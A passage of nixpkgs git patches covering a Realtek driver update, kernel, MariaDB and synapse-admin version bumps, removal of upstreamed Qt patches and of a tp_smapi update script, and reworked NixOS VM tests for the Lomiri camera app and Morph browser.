-  version = "${kernel.version}-unstable-2024-05-25";
+  version = "${kernel.version}-unstable-2025-05-18";
 
   src = fetchFromGitHub {
     owner = "morrownr";
-    repo = pname;
-    rev = "1acc7aa085bffec21a91fdc9e293378e06bf25e7";
-    hash = "sha256-22vzAdzzM5YnfU8kRWSK3HXxw6BA4FOWXLdWEb7T5IE=";
+    repo = "rtl8852bu-20240418";
+    rev = "42de963695ffc7929a4905aed5c5d7da7c1c2715";
+    hash = "sha256-BvOw9MU4eibeMJEOkifKFatCUNGdujNUZav+4D9bYKY=";
   };
 
   nativeBuildInputs = [
@@ -30,7 +30,10 @@ stdenv.mkDerivation rec {
   postPatch = ''
     substituteInPlace ./Makefile \
       --replace-fail /sbin/depmod \# \
-      --replace-fail '$(MODDESTDIR)' "$out/lib/modules/${kernel.modDirVersion}/kernel/net/wireless/"
+      --replace-fail '$(MODDESTDIR)' "$out/lib/modules/${kernel.modDirVersion}/kernel/net/wireless/" \
+      --replace-fail 'cp -f $(MODULE_NAME).conf /etc/modprobe.d' \
+      'mkdir -p $out/etc/modprobe.d && cp -f $(MODULE_NAME).conf $out/etc/modprobe.d' \
+      --replace-fail "sh edit-options.sh" ""
     substituteInPlace ./platform/i386_pc.mk \
       --replace-fail /lib/modules "${kernel.dev}/lib/modules"
   '';
@@ -54,13 +57,19 @@ stdenv.mkDerivation rec {
     nuke-refs $out/lib/modules/*/kernel/net/wireless/*.ko
   '';
 
+  env.NIX_CFLAGS_COMPILE = "-Wno-designated-init"; # Similar to 79c1cf6
+
   enableParallelBuilding = true;
 
   meta = with lib; {
     description = "Driver for Realtek rtl8852bu and rtl8832bu chipsets, provides the 8852bu mod";
-    homepage = "https://github.com/morrownr/rtl8852bu";
+    homepage = "https://github.com/morrownr/rtl8852bu-20240418";
     license = licenses.gpl2Only;
-    platforms = platforms.linux;
-    maintainers = with maintainers; [ lonyelon ];
+    platforms = [ "x86_64-linux" ];
+    broken = kernel.kernelOlder "6" && kernel.isHardened; # Similar to 79c1cf6
+    maintainers = with maintainers; [
+      lonyelon
+      thtrf
+    ];
   };
 }

From 7c621f2c54cf948f3e82bc47407cffc94970d742 Mon Sep 17 00:00:00 2001
From: thtrf <r3769.tv@gmail.com>
Date: Wed, 11 Jun 2025 10:12:59 +0200
Subject: [PATCH 0891/4511] linuxPackages.rtl8852bu: use finalAttrs; remove
 with lib

(cherry picked from commit 623aad6e2338996dcd6799e01bdcfae584aec406)
---
 pkgs/os-specific/linux/rtl8852bu/default.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/rtl8852bu/default.nix b/pkgs/os-specific/linux/rtl8852bu/default.nix
index 6d94bb1bc191..e07d2eb1d5b9 100644
--- a/pkgs/os-specific/linux/rtl8852bu/default.nix
+++ b/pkgs/os-specific/linux/rtl8852bu/default.nix
@@ -7,7 +7,7 @@
   nukeReferences,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "rtl8852bu";
   version = "${kernel.version}-unstable-2025-05-18";
 
@@ -61,15 +61,15 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  meta = with lib; {
+  meta = {
     description = "Driver for Realtek rtl8852bu and rtl8832bu chipsets, provides the 8852bu mod";
     homepage = "https://github.com/morrownr/rtl8852bu-20240418";
-    license = licenses.gpl2Only;
+    license = lib.licenses.gpl2Only;
     platforms = [ "x86_64-linux" ];
     broken = kernel.kernelOlder "6" && kernel.isHardened; # Similar to 79c1cf6
-    maintainers = with maintainers; [
+    maintainers = with lib.maintainers; [
       lonyelon
       thtrf
     ];
   };
-}
+})

From 040ca0693e5c15ababb529234dfb8076a09de6a2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Wed, 11 Jun 2025 18:01:10 -0700
Subject: [PATCH 0892/4511] qt6Packages.qtwebengine: drop upstreamed patch

(cherry picked from commit 2cacd479ff9612c460ac052f219ca9ad7d46b6bb)
---
 .../qt-6/modules/qtwebengine/default.nix      |  2 --
 .../modules/qtwebengine/pipewire-1.4.patch    | 20 -------------------
 2 files changed, 22 deletions(-)
 delete mode 100644 pkgs/development/libraries/qt-6/modules/qtwebengine/pipewire-1.4.patch

diff --git a/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix b/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
index 76c6221cb664..710c53091de1 100644
--- a/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtwebengine/default.nix
@@ -111,8 +111,6 @@ qtModule {
     # Override locales install path so they go to QtWebEngine's $out
     ./locales-path.patch
 
-    # Fix build with Pipewire 1.4
-    ./pipewire-1.4.patch
     # Reproducibility QTBUG-136068
     ./gn-object-sorted.patch
   ];
diff --git a/pkgs/development/libraries/qt-6/modules/qtwebengine/pipewire-1.4.patch b/pkgs/development/libraries/qt-6/modules/qtwebengine/pipewire-1.4.patch
deleted file mode 100644
index d034eee06b5f..000000000000
--- a/pkgs/development/libraries/qt-6/modules/qtwebengine/pipewire-1.4.patch
+++ /dev/null
@@ -1,20 +0,0 @@
---- a/src/3rdparty/chromium/third_party/webrtc/modules/video_capture/linux/pipewire_session.cc
-+++ b/src/3rdparty/chromium/third_party/webrtc/modules/video_capture/linux/pipewire_session.cc
-@@ -87,7 +87,7 @@ PipeWireNode::PipeWireNode(PipeWireSession* session,
-       .param = OnNodeParam,
-   };
- 
--  pw_node_add_listener(proxy_, &node_listener_, &node_events, this);
-+  pw_node_add_listener(reinterpret_cast<pw_node*>(proxy_), &node_listener_, &node_events, this);
- }
- 
- // static
-@@ -119,7 +119,7 @@ void PipeWireNode::OnNodeInfo(void* data, const pw_node_info* info) {
-       uint32_t id = info->params[i].id;
-       if (id == SPA_PARAM_EnumFormat &&
-           info->params[i].flags & SPA_PARAM_INFO_READ) {
--        pw_node_enum_params(that->proxy_, 0, id, 0, UINT32_MAX, nullptr);
-+        pw_node_enum_params(reinterpret_cast<pw_node*>(that->proxy_), 0, id, 0, UINT32_MAX, nullptr);
-         break;
-       }
-     }

From 33d7e459f5a9842f03730910eae1a0c233f3453f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Wed, 11 Jun 2025 18:02:32 -0700
Subject: [PATCH 0893/4511] qt6Packages.qtmultimedia: drop upstreamed patch

(cherry picked from commit ed818ad52af5c4b8b674fd4883f002cf82189d87)
---
 .../libraries/qt-6/modules/qtmultimedia/default.nix  | 12 ++++--------
 .../fix-qtgui-include-incorrect-case.patch           | 11 -----------
 2 files changed, 4 insertions(+), 19 deletions(-)
 delete mode 100644 pkgs/development/libraries/qt-6/modules/qtmultimedia/fix-qtgui-include-incorrect-case.patch

diff --git a/pkgs/development/libraries/qt-6/modules/qtmultimedia/default.nix b/pkgs/development/libraries/qt-6/modules/qtmultimedia/default.nix
index e9ba5ff9c570..e053ca90336c 100644
--- a/pkgs/development/libraries/qt-6/modules/qtmultimedia/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtmultimedia/default.nix
@@ -62,14 +62,10 @@ qtModule {
       gst-vaapi
     ];
 
-  patches =
-    [
-      ./fix-qtgui-include-incorrect-case.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMinGW [
-      ./windows-no-uppercase-libs.patch
-      ./windows-resolve-function-name.patch
-    ];
+  patches = lib.optionals stdenv.hostPlatform.isMinGW [
+    ./windows-no-uppercase-libs.patch
+    ./windows-resolve-function-name.patch
+  ];
 
   cmakeFlags = [
     "-DENABLE_DYNAMIC_RESOLVE_VAAPI_SYMBOLS=0"
diff --git a/pkgs/development/libraries/qt-6/modules/qtmultimedia/fix-qtgui-include-incorrect-case.patch b/pkgs/development/libraries/qt-6/modules/qtmultimedia/fix-qtgui-include-incorrect-case.patch
deleted file mode 100644
index c67fde93498b..000000000000
--- a/pkgs/development/libraries/qt-6/modules/qtmultimedia/fix-qtgui-include-incorrect-case.patch
+++ /dev/null
@@ -1,11 +0,0 @@
---- a/src/plugins/multimedia/ffmpeg/qffmpegscreencapture_dxgi.cpp
-+++ b/src/plugins/multimedia/ffmpeg/qffmpegscreencapture_dxgi.cpp
-@@ -7,7 +7,7 @@
- #include <private/qmultimediautils_p.h>
- #include <private/qwindowsmultimediautils_p.h>
- #include <private/qvideoframe_p.h>
--#include <qtgui/qscreen_platform.h>
-+#include <QtGui/qscreen_platform.h>
- #include "qvideoframe.h"
- 
- #include <qloggingcategory.h>

From a8da343a3b47ce0edd2ec5ff12970b84fd2cf5af Mon Sep 17 00:00:00 2001
From: Katherine Jamison <axertheaxe@proton.me>
Date: Tue, 10 Jun 2025 18:43:14 -0600
Subject: [PATCH 0894/4511] linuxKernel.kernels.linux_zen: 6.14.9-zen1 ->
 6.15.2-zen1

(cherry picked from commit 5acf5f82d19a61409e324f7b35cc1b9326c95fcf)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index 852eacf43829..ebf4cdec5e04 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -16,9 +16,9 @@ let
   variants = {
     # ./update-zen.py zen
     zen = {
-      version = "6.14.9"; # zen
+      version = "6.15.2"; # zen
       suffix = "zen1"; # zen
-      sha256 = "1v28cdv8dyn5181z242f63ns6b472jx8a7wmw77n5wijj8fv5ba1"; # zen
+      sha256 = "196vc361fqpiwqgpxa0kp1nfqs6gplah2qw48yrwlzxp08q9sfqn"; # zen
       isLqx = false;
     };
     # ./update-zen.py lqx

From 6a98c9eefeb10bf677824235c6ca585c542bcc51 Mon Sep 17 00:00:00 2001
From: Katherine Jamison <axertheaxe@proton.me>
Date: Tue, 10 Jun 2025 18:45:21 -0600
Subject: [PATCH 0895/4511] linuxKernel.kernels.linux_lqx: 6.14.9-lqx1 ->
 6.14.11-lqx1

(cherry picked from commit 633910b9b59190a6065e9dd92ecf833580aa791c)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index ebf4cdec5e04..336ab08f6bae 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -23,9 +23,9 @@ let
     };
     # ./update-zen.py lqx
     lqx = {
-      version = "6.14.9"; # lqx
+      version = "6.14.11"; # lqx
       suffix = "lqx1"; # lqx
-      sha256 = "1f8sram3xabv119pznpixpm5igyxf33wkg4v8fm5nh9c9g91q19j"; # lqx
+      sha256 = "0gpg1rad2ljnnszpz78shsm98zw5bj6arr3xnsb2nanvx6axwbbw"; # lqx
       isLqx = true;
     };
   };

From c8c9371b7a9d6d712a0553db16c6b040b6d05ce8 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Thu, 5 Jun 2025 09:35:27 +0200
Subject: [PATCH 0896/4511] tp_smapi: remove update script

(cherry picked from commit 32ddfbc9e7f3b7344ba722ca57f107bd4a4c17ff)
---
 pkgs/os-specific/linux/tp_smapi/default.nix | 20 ---------------
 pkgs/os-specific/linux/tp_smapi/update.nix  | 28 ---------------------
 2 files changed, 48 deletions(-)
 delete mode 100644 pkgs/os-specific/linux/tp_smapi/update.nix

diff --git a/pkgs/os-specific/linux/tp_smapi/default.nix b/pkgs/os-specific/linux/tp_smapi/default.nix
index 0c80a69f4888..90cdbeafca6a 100644
--- a/pkgs/os-specific/linux/tp_smapi/default.nix
+++ b/pkgs/os-specific/linux/tp_smapi/default.nix
@@ -4,13 +4,6 @@
   fetchFromGitHub,
   fetchpatch,
   kernel,
-  writeScript,
-  coreutils,
-  gnugrep,
-  jq,
-  curl,
-  common-updater-scripts,
-  runtimeShell,
 }:
 
 stdenv.mkDerivation rec {
@@ -53,19 +46,6 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  passthru.updateScript = import ./update.nix {
-    inherit
-      lib
-      writeScript
-      coreutils
-      gnugrep
-      jq
-      curl
-      common-updater-scripts
-      runtimeShell
-      ;
-  };
-
   meta = {
     description = "IBM ThinkPad hardware functions driver";
     homepage = "https://github.com/linux-thinkpad/tp_smapi";
diff --git a/pkgs/os-specific/linux/tp_smapi/update.nix b/pkgs/os-specific/linux/tp_smapi/update.nix
deleted file mode 100644
index 8b6fde3c0eaa..000000000000
--- a/pkgs/os-specific/linux/tp_smapi/update.nix
+++ /dev/null
@@ -1,28 +0,0 @@
-{
-  lib,
-  writeScript,
-  coreutils,
-  curl,
-  gnugrep,
-  jq,
-  common-updater-scripts,
-  runtimeShell,
-}:
-
-writeScript "update-tp_smapi" ''
-  #!${runtimeShell}
-  PATH=${
-    lib.makeBinPath [
-      common-updater-scripts
-      coreutils
-      curl
-      gnugrep
-      jq
-    ]
-  }
-
-  tags=`curl -s https://api.github.com/repos/evgeni/tp_smapi/tags`
-  latest_tag=`echo $tags | jq -r '.[] | .name' | grep -oP "^tp-smapi/\K.*" | sort --version-sort | tail -1`
-
-  update-source-version linuxPackages.tp_smapi "$latest_tag"
-''

From a21431a4960a7c377cbb71e11da9260d2beca061 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Thu, 5 Jun 2025 09:35:02 +0200
Subject: [PATCH 0897/4511] tp_smapi: 0.43 -> 0.44-unstable-2025-05-26

(cherry picked from commit 3e454d9affa7decc061c154e9837b77b6ca846e2)
---
 pkgs/os-specific/linux/tp_smapi/default.nix | 16 +++-------------
 1 file changed, 3 insertions(+), 13 deletions(-)

diff --git a/pkgs/os-specific/linux/tp_smapi/default.nix b/pkgs/os-specific/linux/tp_smapi/default.nix
index 90cdbeafca6a..0e27fb45b547 100644
--- a/pkgs/os-specific/linux/tp_smapi/default.nix
+++ b/pkgs/os-specific/linux/tp_smapi/default.nix
@@ -2,30 +2,20 @@
   stdenv,
   lib,
   fetchFromGitHub,
-  fetchpatch,
   kernel,
 }:
 
 stdenv.mkDerivation rec {
   name = "tp_smapi-${version}-${kernel.version}";
-  version = "0.43";
+  version = "0.44-unstable-2025-05-26";
 
   src = fetchFromGitHub {
     owner = "linux-thinkpad";
     repo = "tp_smapi";
-    rev = "tp-smapi/${version}";
-    sha256 = "1rjb0njckczc2mj05cagvj0lkyvmyk6bw7wkiinv81lw8m90g77g";
+    rev = "a6122c0840c36bf232250afd1da30aaedaf24910";
+    hash = "sha256-4bVyhTVj29ni9hduN20+VEl5/N0BAoMNMBw+k4yl8Y0=";
   };
 
-  patches = [
-    # update DEFINE_SEMAPHORE usage for linux 6.4+
-    # https://github.com/linux-thinkpad/tp_smapi/pull/45
-    (fetchpatch {
-      url = "https://github.com/linux-thinkpad/tp_smapi/commit/0c3398b1acf2a2cabd9cee91dc3fe3d35805fa8b.patch";
-      hash = "sha256-J/WvijrpHGwFOZMMxnHdNin5eh8vViTcNb4nwsCqsLs=";
-    })
-  ];
-
   nativeBuildInputs = kernel.moduleBuildDependencies;
 
   hardeningDisable = [ "pic" ];

From a6ad524cc794e03fc4544e057a728b999a9fe957 Mon Sep 17 00:00:00 2001
From: Simon Hauser <simon.hauser@helsinki-systems.de>
Date: Fri, 23 May 2025 08:09:08 +0200
Subject: [PATCH 0898/4511] mariadb: 10.6.22, 10.11.13, 11.4.7

(cherry picked from commit 77e4c5a0fafae63c61161ba32462f665f244ae43)
---
 pkgs/servers/sql/mariadb/default.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/servers/sql/mariadb/default.nix b/pkgs/servers/sql/mariadb/default.nix
index 51277f42aada..ef9cbc751256 100644
--- a/pkgs/servers/sql/mariadb/default.nix
+++ b/pkgs/servers/sql/mariadb/default.nix
@@ -370,17 +370,17 @@ self: {
   # see https://mariadb.org/about/#maintenance-policy for EOLs
   mariadb_106 = self.callPackage generic {
     # Supported until 2026-07-06
-    version = "10.6.21";
-    hash = "sha256-jX+XFps7ogRIWJZbjPwlQ2RADfQ+kFBC+S4kuPp7DZY=";
+    version = "10.6.22";
+    hash = "sha256-LKYA3H6F6tHzPCEvnXax8vgS0knIveAuXzjq0Jit5CA=";
   };
   mariadb_1011 = self.callPackage generic {
     # Supported until 2028-02-16
-    version = "10.11.11";
-    hash = "sha256-bynU1+QPxJr0oP5giYRQnvLRU9882K/kNZ3OPKDieJA=";
+    version = "10.11.13";
+    hash = "sha256-+Lc0dJ+9ZS6k4lW+jMeID5jQe2p/604eqMc2y0gNI+Q=";
   };
   mariadb_114 = self.callPackage generic {
     # Supported until 2029-05-29
-    version = "11.4.5";
-    hash = "sha256-/2WV+MSC+ZIeObl/oRIjd6afDcvZJVPGuQMsvw6bU1Q=";
+    version = "11.4.7";
+    hash = "sha256-vyBofKEvp+/ajficqx8qZhKIzqQaz49TGJtp1SlDR9A=";
   };
 }

From e5cf3d6b360623fa04738ad445ebba2110c5f3b4 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 11 Jun 2025 13:53:02 +0000
Subject: [PATCH 0899/4511] synapse-admin-etkecc: 0.11.1-etke43 ->
 0.11.1-etke44

(cherry picked from commit 548245aaafc27809a74f8b1e875ec6c7e5c8090d)
---
 pkgs/by-name/sy/synapse-admin-etkecc/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/synapse-admin-etkecc/package.nix b/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
index 01e3c58d2206..f9b32eb054cb 100644
--- a/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
+++ b/pkgs/by-name/sy/synapse-admin-etkecc/package.nix
@@ -17,18 +17,18 @@ assert lib.asserts.assertMsg (
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "synapse-admin-etkecc";
-  version = "0.11.1-etke43";
+  version = "0.11.1-etke44";
 
   src = fetchFromGitHub {
     owner = "etkecc";
     repo = "synapse-admin";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-mubONaT4qnbPlnYY15UtHGEp45k5mIxWt1shHRdwwTA=";
+    hash = "sha256-8IL81rMohPNss0ZTKgyxvx4FNcgFtDoJGZ6uyM/nJgg=";
   };
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = finalAttrs.src + "/yarn.lock";
-    hash = "sha256-WFE2mtyK3xBOVIgJ0ODsv1C0pjpGdBM3+TtIiZUpj58=";
+    hash = "sha256-6TVVYitLtpNjyMOUXaMYlhOskSZCb/eWW91S69RTeFo=";
   };
 
   nativeBuildInputs = [

From 8cd26f600cdb420c46c5f898370d238b8e618b7a Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Fri, 16 May 2025 13:42:50 +0200
Subject: [PATCH 0900/4511] nixosTests.lomiri-camera-app: Fix OCR, round 2

(cherry picked from commit fb195778d6b129e2b48e3349da2db562a420f0d4)
---
 nixos/tests/lomiri-camera-app.nix | 24 +++++++++++++++++++++---
 1 file changed, 21 insertions(+), 3 deletions(-)

diff --git a/nixos/tests/lomiri-camera-app.nix b/nixos/tests/lomiri-camera-app.nix
index ec3442966982..811c0b53c9ac 100644
--- a/nixos/tests/lomiri-camera-app.nix
+++ b/nixos/tests/lomiri-camera-app.nix
@@ -55,6 +55,8 @@
 
       with subtest("lomiri camera launches"):
           machine.succeed("lomiri-camera-app >&2 &")
+          # emitted twice
+          machine.wait_for_console_text("updateViewfinderResolution: viewfinder resolutions is not known yet")
           machine.wait_for_console_text("updateViewfinderResolution: viewfinder resolutions is not known yet")
           machine.sleep(10)
           machine.send_key("alt-f10")
@@ -73,7 +75,9 @@
 
       with subtest("lomiri camera uses camera"):
           machine.succeed("lomiri-camera-app >&2 &")
-          machine.wait_for_console_text("updateViewfinderResolution: For target resolution")
+          # emitted twice
+          machine.wait_for_console_text("No flash control support")
+          machine.wait_for_console_text("No flash control support")
           machine.sleep(10)
           machine.send_key("alt-f10")
           machine.sleep(5)
@@ -95,9 +99,16 @@
       machine.send_key("ctrl-alt-left")
       machine.succeed("pkill -f lomiri-camera-app")
 
+      # Sometimes no camera feed, GStreamer errors out with: CameraBin error: "Failed to allocate required memory."
+      # Adding more VM memory didn't affect this. Maybe flaky in general?
+      # Current assumption: Camera access gets requested in a weird/still-in-use state, so sleep abit
+      machine.sleep(10)
+
       with subtest("lomiri barcode scanner uses camera"):
           machine.succeed("lomiri-camera-app --mode=barcode-reader >&2 &")
-          machine.wait_for_console_text("updateViewfinderResolution: For target resolution")
+          # emitted twice
+          machine.wait_for_console_text("No flash control support")
+          machine.wait_for_console_text("No flash control support")
           machine.sleep(10)
           machine.send_key("alt-f10")
           machine.sleep(5)
@@ -143,9 +154,16 @@
       machine.send_key("ctrl-alt-left")
       machine.succeed("pkill -f lomiri-camera-app")
 
+      # Sometimes no camera feed, GStreamer errors out with: CameraBin error: "Failed to allocate required memory."
+      # Adding more VM memory didn't affect this. Maybe flaky in general?
+      # Current assumption: Camera access gets requested in a weird/still-in-use state, so sleep abit
+      machine.sleep(10)
+
       with subtest("lomiri camera localisation works"):
           machine.succeed("env LANG=de_DE.UTF-8 lomiri-camera-app >&2 &")
-          machine.wait_for_console_text("updateViewfinderResolution: For target resolution")
+          # emitted twice
+          machine.wait_for_console_text("No flash control support")
+          machine.wait_for_console_text("No flash control support")
           machine.sleep(10)
           machine.send_key("alt-f10")
           machine.sleep(5)

From cd0b0f990ad034baea7b93d3ef63f3ade120c5ba Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Fri, 16 May 2025 13:43:20 +0200
Subject: [PATCH 0901/4511] nixosTests.morph-browser: Fix OCR

(cherry picked from commit 8ae8da2e5075f591d78e5f0bf47ed18d929e6779)
---
 nixos/tests/morph-browser.nix | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/nixos/tests/morph-browser.nix b/nixos/tests/morph-browser.nix
index d75b3444be5a..04857ceeeb10 100644
--- a/nixos/tests/morph-browser.nix
+++ b/nixos/tests/morph-browser.nix
@@ -36,7 +36,10 @@
     machine.wait_for_x()
 
     with subtest("morph browser launches"):
-        machine.execute("morph-browser >&2 &")
+        machine.succeed("morph-browser >&2 &")
+        machine.sleep(10)
+        machine.send_key("alt-f10")
+        machine.sleep(5)
         machine.wait_for_text(r"Web Browser|New|sites|Bookmarks")
         machine.screenshot("morph_open")
 
@@ -47,8 +50,14 @@
 
     machine.succeed("pkill -f morph-browser")
 
+    # Get rid of saved tabs, to show localised start page
+    machine.succeed("rm -r /root/.local/share/morph-browser")
+
     with subtest("morph browser localisation works"):
-        machine.execute("env LANG=de_DE.UTF-8 morph-browser >&2 &")
+        machine.succeed("env LANG=de_DE.UTF-8 morph-browser >&2 &")
+        machine.sleep(10)
+        machine.send_key("alt-f10")
+        machine.sleep(5)
         machine.wait_for_text(r"Web-Browser|Neuer|Seiten|Lesezeichen")
         machine.screenshot("morph_localised")
   '';

From b75e0fbb52577f304ad0532355e100adbb108b07 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Thu, 29 May 2025 01:04:38 +0200
Subject: [PATCH 0902/4511] nixosTests.lomiri-camera-app: Fix OCR, round 3

By splitting one long test into multiple smaller ones, OfBorg should hopefully be happy with this now...

(cherry picked from commit 2a00439306652564a38587b7506da3a1defa4a72)
---
 nixos/tests/all-tests.nix                     |   2 +-
 nixos/tests/lomiri-camera-app.nix             | 415 +++++++++++-------
 .../lomiri-camera-app/default.nix             |   8 +-
 3 files changed, 272 insertions(+), 153 deletions(-)

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index e27dce1734ce..054fc85b5a37 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -751,7 +751,7 @@ in
   lomiri = discoverTests (import ./lomiri.nix);
   lomiri-calculator-app = runTest ./lomiri-calculator-app.nix;
   lomiri-calendar-app = runTest ./lomiri-calendar-app.nix;
-  lomiri-camera-app = runTest ./lomiri-camera-app.nix;
+  lomiri-camera-app = discoverTests (import ./lomiri-camera-app.nix);
   lomiri-clock-app = runTest ./lomiri-clock-app.nix;
   lomiri-docviewer-app = runTest ./lomiri-docviewer-app.nix;
   lomiri-filemanager-app = runTest ./lomiri-filemanager-app.nix;
diff --git a/nixos/tests/lomiri-camera-app.nix b/nixos/tests/lomiri-camera-app.nix
index 811c0b53c9ac..7a1a7929bccb 100644
--- a/nixos/tests/lomiri-camera-app.nix
+++ b/nixos/tests/lomiri-camera-app.nix
@@ -1,173 +1,286 @@
-{ lib, ... }:
-{
-  name = "lomiri-camera-app-standalone";
-  meta.maintainers = lib.teams.lomiri.members;
-
-  nodes.machine =
-    { config, pkgs, ... }:
-    {
-      imports = [ ./common/x11.nix ];
-
-      services.xserver.enable = true;
-
-      environment = {
-        systemPackages =
-          with pkgs;
-          [
-            feh # view photo result
-            ffmpeg # fake webcam stream
-            gnome-text-editor # somewhere to paste QR result
-            (imagemagick.override { ghostscriptSupport = true; }) # add label for OCR
-            qrtool # generate QR code
-            xdotool # clicking on QR button
-          ]
-          ++ (with pkgs.lomiri; [
-            suru-icon-theme
-            lomiri-camera-app
-          ]);
-        variables = {
-          UITK_ICON_THEME = "suru";
-        };
-      };
-
-      i18n.supportedLocales = [ "all" ];
-
-      fonts = {
-        packages = with pkgs; [
-          # Intended font & helps with OCR
-          ubuntu-classic
+let
+  makeTest = import ./make-test-python.nix;
+  feedLabel = "Image";
+  feedQrContent = "Test";
+  feedImageFile = "feed.png";
+  makeFeedImage =
+    pkgs:
+    pkgs.runCommand feedImageFile
+      {
+        nativeBuildInputs = with pkgs; [
+          (imagemagick.override { ghostscriptSupport = true; }) # add label for OCR
+          qrtool # generate QR code
         ];
-      };
+      }
+      ''
+        qrtool encode '${feedQrContent}' -s 20 -m 10 > qr.png
 
-      # Fake camera
-      boot.extraModulePackages = with config.boot.kernelPackages; [ v4l2loopback ];
-    };
+        # Horizontal flip, add text, flip back. Camera displays image mirrored, so need reversed text for OCR
+        magick qr.png \
+          -flop \
+          -pointsize 30 -fill black -annotate +100+100 '${feedLabel}' \
+          -flop \
+          $out
+      '';
+in
+{
+  basic = makeTest (
+    { lib, ... }:
+    {
+      name = "lomiri-camera-app-basic";
+      meta.maintainers = lib.teams.lomiri.members;
 
-  enableOCR = true;
+      nodes.machine =
+        { config, pkgs, ... }:
+        {
+          imports = [ ./common/x11.nix ];
 
-  testScript =
-    let
-      qrLabel = "Feed";
-      qrContent = "Test";
-    in
-    ''
-      machine.wait_for_x()
+          services.xserver.enable = true;
 
-      with subtest("lomiri camera launches"):
-          machine.succeed("lomiri-camera-app >&2 &")
-          # emitted twice
-          machine.wait_for_console_text("updateViewfinderResolution: viewfinder resolutions is not known yet")
-          machine.wait_for_console_text("updateViewfinderResolution: viewfinder resolutions is not known yet")
+          environment = {
+            systemPackages = with pkgs.lomiri; [
+              suru-icon-theme
+              lomiri-camera-app
+            ];
+            variables = {
+              UITK_ICON_THEME = "suru";
+            };
+          };
+
+          i18n.supportedLocales = [ "all" ];
+
+          fonts = {
+            packages = with pkgs; [
+              # Intended font & helps with OCR
+              ubuntu-classic
+            ];
+          };
+        };
+
+      enableOCR = true;
+
+      testScript =
+        let
+          qrLabel = "Feed";
+          qrContent = "Test";
+        in
+        ''
+          machine.wait_for_x()
+
+          with subtest("lomiri camera launches"):
+              machine.succeed("lomiri-camera-app >&2 &")
+              # emitted twice
+              machine.wait_for_console_text("updateViewfinderResolution: viewfinder resolutions is not known yet")
+              machine.wait_for_console_text("updateViewfinderResolution: viewfinder resolutions is not known yet")
+              machine.sleep(10)
+              machine.send_key("alt-f10")
+              machine.sleep(5)
+              machine.wait_for_text("Cannot access")
+              machine.screenshot("lomiri-camera_open")
+
+          machine.succeed("pgrep -afx lomiri-camera-app >&2")
+          machine.succeed("pkill -efx lomiri-camera-app >&2")
+          machine.wait_until_fails("pgrep -afx lomiri-camera-app >&2")
+
+          # Sometimes, GStreamer errors out on camera init with: CameraBin error: "Failed to allocate required memory."
+          # Adding more VM memory didn't affect this. Maybe flaky in general?
+          # Current assumption: Camera access gets requested in a weird/still-in-use state, so sleep abit
           machine.sleep(10)
-          machine.send_key("alt-f10")
-          machine.sleep(5)
-          machine.wait_for_text("Cannot access")
-          machine.screenshot("lomiri-camera_open")
 
-      machine.succeed("pkill -f lomiri-camera-app")
+          with subtest("lomiri camera localisation works"):
+              machine.succeed("env LANG=de_DE.UTF-8 lomiri-camera-app >&2 &")
+              # emitted twice
+              machine.wait_for_console_text("updateViewfinderResolution: viewfinder resolutions is not known yet")
+              machine.wait_for_console_text("updateViewfinderResolution: viewfinder resolutions is not known yet")
+              machine.sleep(10)
+              machine.send_key("alt-f10")
+              machine.sleep(5)
+              machine.wait_for_text("Zugriff auf")
+              machine.screenshot("lomiri-camera_localised")
+        '';
+    }
+  );
 
-      # Setup fake v4l2 camera
-      machine.succeed("modprobe v4l2loopback video_nr=10 card_label=Video-Loopback exclusive_caps=1")
-      machine.succeed("qrtool encode '${qrContent}' -s 20 -m 10 > qr.png")
-      # Horizontal flip, add text, flip back. Camera displays image mirrored, so need reversed text for OCR
-      machine.succeed("magick qr.png -flop -pointsize 30 -fill black -annotate +100+100 '${qrLabel}' -flop output.png")
